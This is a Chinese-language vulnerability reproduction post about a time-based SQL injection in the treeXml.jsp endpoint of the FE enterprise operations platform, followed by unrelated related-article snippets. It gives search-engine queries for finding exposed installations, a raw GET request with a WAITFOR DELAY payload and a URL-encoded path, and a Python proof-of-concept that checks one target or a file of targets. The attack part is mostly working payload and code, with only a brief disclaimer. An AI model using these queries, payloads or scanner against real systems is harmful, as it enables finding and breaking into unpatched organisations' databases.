【漏洞復現】飛企互聯——SQL注入

聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。

文章目錄

  • 漏洞描述
  • 漏洞復現
  • 測試工具


漏洞描述

飛企互聯-FE企業運營管理平臺是一個基于云計算、智能化、大數據、物聯網、移動互聯網等技術支撐的云工作臺。其treeXml.jsp接口存在sql注入,惡意攻擊者可能會向數據庫發送構造的惡意SQL查詢語句

漏洞復現

1)信息收集
fofa:app="FE-協作平臺"
hunter:app.name="飛企互聯 FE"||app.name="飛企互聯 FE 6.0+"
在這里插入圖片描述

無論前方道路多么崎嶇,只要心中有光,腳下就有力量,你定能抵達夢想的彼岸!加油!🌟

在這里插入圖片描述

2)構造數據包

GET /sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function HTTP/1.1
Host:ip

代碼解釋:

  1. /sys/treeXml.js%70: 這看起來像是一個請求的腳本文件路徑,其中 %70 是URL編碼,解碼后應該是 p,所以完整的文件路徑是 /sys/treeXml.jsp
  2. ;WAITFOR DELAY '0:0:5'--: 這是SQL Server特有的一個等待命令,它會讓SQL Server等待指定的時間(例子中是5秒)。
  3. &type=function: 這是另一個查詢參數,type 的值是 function

在這里插入圖片描述
響應時間延長至5秒,證明命令被執行。

測試工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 導入所需的模塊
import http.client
import ssl
import argparse
from urllib.parse import urlparse
import time# 定義顏色代碼,用于終端輸出高亮顯示
RED = '\033[91m'
RESET = '\033[0m'def check_vulnerability(url):try:# 解析URL,獲取協議、域名和路徑parsed_url = urlparse(url)# 構造用于檢測SQL注入漏洞的URL路徑path = parsed_url.path.rstrip('/') + "/sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:3'--&type=function"# 根據URL協議創建HTTP或HTTPS連接if parsed_url.scheme == "https":# 忽略SSL證書驗證conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(parsed_url.netloc)# 記錄請求開始時間start_time = time.time()# 發送GET請求conn.request("GET", path)# 獲取響應response = conn.getresponse()# 計算響應時間elapsed_time = time.time() - start_time# 如果響應時間在3到6秒之間,可能存在SQL注入漏洞if 3 < elapsed_time < 6:print(f"{RED}URL [{url}] 可能存在飛企互聯FE企業運營管理平臺 treeXml.jsp SQL注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except (http.client.HTTPException, ConnectionResetError) as e:# 打印請求失敗的錯誤信息print(f"URL [{url}] 請求失敗: {e}")except Exception as e:# 打印其他異常的錯誤信息print(f"URL [{url}] 遇到未知錯誤: {e}")def main():# 創建參數解析器parser = argparse.ArgumentParser(description='檢測目標地址是否存在飛企互聯FE企業運營管理平臺 treeXml.jsp SQL注入漏洞')# 添加URL參數parser.add_argument('-u', '--url', help='指定目標地址')# 添加文件參數,用于讀取包含URL列表的文件parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果提供了URL參數if args.url:# 如果URL沒有協議頭,添加http協議頭if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 檢測URL是否存在漏洞check_vulnerability(args.url)# 如果提供了文件參數elif args.file:# 讀取文件中的URL列表with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 如果URL沒有協議頭,添加http協議頭if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + url# 檢測每個URL是否存在漏洞check_vulnerability(url)if __name__ == '__main__':# 程序入口main()

運行截圖:
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/37823.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/37823.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/37823.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[圖解] 向量數據庫之何謂乘積量化器?

Product Quantization 在前面一節講解了向量數據庫索引相關的內容&#xff0c;那么本節將會講解其中壓縮方法的量化手段&#xff1a;乘積量化器。 簡單來說將向量的所有維度劃分為多個子空間&#xff0c;每個子空間一部分維度&#xff0c;然后每個子空間獨立去找最近距離。例如…

haproxy實現代理和負載均衡

HaProxy介紹&#xff1a; haproxy是法國開發者威利塔羅在2000年使用C語言開發的一個開源軟件&#xff0c;是一款具備高并發(一萬以上)、高性能的TCP和HTTP負載均衡器&#xff0c;支持基于cookie的持久性&#xff0c;自動故障切換&#xff0c;支持正則表達式及web狀態統計&…

Numpy array和Pytorch tensor的區別

1.Numpy array和Pytorch tensor的區別 筆記來源&#xff1a; 1.Comparison between Pytorch Tensor and Numpy Array 2.numpy.array 4.Tensors for Neural Networks, Clearly Explained!!! 5.What is a Tensor in Machine Learning? 1.1 Numpy Array Numpy array can only h…

arthas監控工具筆記(一)

文章目錄 啟動 math-game啟動 arthas查看 dashboard通過 thread 命令來獲取到math-game進程的 Main Class通過 jad 來反編譯 Main Class退出 arthas 界面linux服務器掛不上進程怎么辦? 核心表達式變量loader 本次調用類所在的 ClassLoaderclazz 本次調用類的 Class 引用method…

信息學奧賽初賽天天練-39-CSP-J2021基礎題-哈夫曼樹、哈夫曼編碼、貪心算法、滿二叉樹、完全二叉樹、前中后綴表達式轉換

PDF文檔公眾號回復關鍵字:20240629 2022 CSP-J 選擇題 單項選擇題&#xff08;共15題&#xff0c;每題2分&#xff0c;共計30分&#xff1a;每題有且僅有一個正確選項&#xff09; 5.對于入棧順序為a,b,c,d,e的序列&#xff0c;下列( )不合法的出棧序列 A. a&#xff0c;b&a…

螺旋矩陣問題C代碼

給定一個n行m列的二維數組&#xff0c;要求按順時針螺旋順序輸出矩陣中的所有元素&#xff0c;n和m小于等于10 如下圖是一個三行四列的螺旋矩陣 要求輸出 1 2 3 4 8 12 11 10 9 5 6 7 全局變量定義 int a[11][11]; int vis[11][11]; // 訪問標記數組關鍵代碼如下 int dx[] …

MySQL高級-MVCC-基本概念(當前讀、快照讀)

文章目錄 1、MVCC基本概念1.1、當前讀1.1.1、創建表 stu1.1.2、測試 1.2、快照讀 1、MVCC基本概念 全稱Multi-Version Concurrency Control&#xff0c;多版本并發控制。指維護一個數據的多個版本&#xff0c;使得讀寫操作沒有沖突&#xff0c;快照讀為MySQL實現MVCC提供了一個…

OpenCV cv::Mat到 Eigen 的正確轉換——cv2eigen

在進行計算機視覺項目時&#xff0c;我們經常需要處理相機位姿的變換。最近&#xff0c;我在項目中遇到了一個看似簡單但實際上頗具挑戰性的問題&#xff1a;從 OpenCV 的 cv::Mat 格式轉換到 Eigen 庫的格式。這個過程中遇到了一些問題&#xff0c;但最終找到了一個穩健的解決…

鏤空的文字?分享 1 段優質 CSS 代碼片段!

大家好&#xff0c;我是大澈&#xff01; 本文約 800 字&#xff0c;整篇閱讀約需 1 分鐘。 每日分享一段優質代碼片段。 今天分享一段優質 CSS 代碼片段&#xff0c;實現 CSS 文字鏤空的效果。 老規矩&#xff0c;先閱讀代碼片段并思考&#xff0c;再看代碼解析再思考&#…

nginx本地域名配置

修改hosts文件&#xff08;僅限本地測試&#xff09;&#xff1a; 在Windows上&#xff0c;hosts文件位于C:\Windows\System32\drivers\etc\hosts。 打開hosts文件&#xff0c;添加一行&#xff1a;127.0.0.1 xxx.com &#xff08;xxx.com為自己設定的域名&#xff09; 如果修…

Leetcode3190. 使所有元素都可以被 3 整除的最少操作數

Every day a Leetcode 題目來源&#xff1a;3190. 使所有元素都可以被 3 整除的最少操作數 解法1&#xff1a;遍歷 遍歷數組&#xff0c;累加最少操作數&#xff0c;即 min(num % 3, 3 - num % 3)。 代碼&#xff1a; /** lc appleetcode.cn id3190 langcpp** [3190] 使所…

uniapp+vue3開發微信小程序踩坑集

本文主要記錄使用uniappvue3開發微信小程序遇見的各種常見問題及注意點。&#xff08;持續更新&#xff09; 問題&#xff1a; 自定義組件為什么有些樣式加不上去 給自定義組件增加class的時候&#xff0c;有時候不生效有時候生效&#xff0c;一度讓我懷疑自己記憶錯亂。后來…

C++枚舉

C枚舉 枚舉的基礎用法不不再贅述枚舉的三點問題1、作用域問題解決思路1解決思路2 2、隱式轉換成int3、枚舉變量的實際類型無法明確指定 枚舉的基礎用法不不再贅述 枚舉的三點問題 1、作用域問題 舉個例子&#xff0c;顏色有blue代表藍色&#xff0c;心情有blue代表憂郁。 以…

mysql安裝配置教程

mysql安裝配置教程 MySQL是一個流行的關系型數據庫管理系統&#xff0c;用于存儲和管理數據。下面是簡要的MySQL安裝配置教程&#xff1a; 步驟1&#xff1a;下載MySQL 訪問MySQL官方網站&#xff08;https://dev.mysql.com/downloads/mysql/&#xff09;下載適合您操作系統…

Java冒泡排序實現及應用解析

Java冒泡排序實現及應用解析 冒泡排序是計算機科學中最基本的排序算法之一&#xff0c;盡管它的效率不是最高的&#xff0c;但由于其實現簡單&#xff0c;它在教學和某些特定場景下仍然具有不可替代的作用。本文將從Java語言的角度&#xff0c;深入探討冒泡排序的基本原理、實…

全國31省細分產品出口數據集(2002-2022年)

數據簡介&#xff1a;整理全國31個省直轄市自治區按hs碼分的22類細分產品的出口數據&#xff0c;只包含22類的細分&#xff0c;不包含更細的類目。可用來計算出口產品質量&#xff0c;出口產品技術復雜度等指標&#xff0c;數據區間為2002-2022年。 數據名稱&#xff1a;31省細…

《昇思25天學習打卡營第11天 | 昇思MindSpore基于 MindSpore 實現 BERT 對話情緒識別》

11天本節學習到BERT全稱是來自變換器的雙向編碼器表征量&#xff0c;它是Google于2018年末開發并發布的一種新型語言模型。BERT模型的主要創新點都在pre-train方法上&#xff0c;即用了Masked Language Model和Next Sentence Prediction兩種方法分別捕捉詞語和句子級別的repres…

【SGX系列教程】(五)Intel-SGX 官方示例分析(SampleCode)——RemoteAttestation

文章目錄 一.RemoteAttestation原理介紹1.1 遠程認證原理1.2 遠程認證步驟1.3 遠程認證基本流程1.4 IAS通過以下步驟驗證報告的簽名1.5 關鍵術語1.6 總結二.源碼分析2.1 README2.1.1 README給出的編譯流程2.2 重點代碼分析2.2.0 主要代碼模塊交互流程分析2.2.1 isv_app文件夾2.…

python-18-零基礎自學python-用類創建冰淇凌小店的口味

學習內容&#xff1a;《python編程&#xff1a;從入門到實踐》第二版 知識點&#xff1a; 類、子類、繼承、調用函數 練習內容&#xff1a; 練習9-6&#xff1a;冰激凌小店 冰激凌小店是一種特殊的餐館。編寫一個名為IceCreamStand的類&#xff0c;讓它繼承為完成練習9-1或…

YonBIP 獲取項目代碼配置(圖文)

項目開發文件在本地環境重新部署后&#xff0c;開發端機器需要重新部署&#xff0c;在此記錄一下操作過程。 1. 新建項目目錄&#xff0c;在目錄下點鼠標右鍵&#xff0c;選 Git Bash Here 2. 開始下載代碼&#xff0c;根據代碼量多少&#xff0c;幾分鐘就能下載完成。 3. 下載…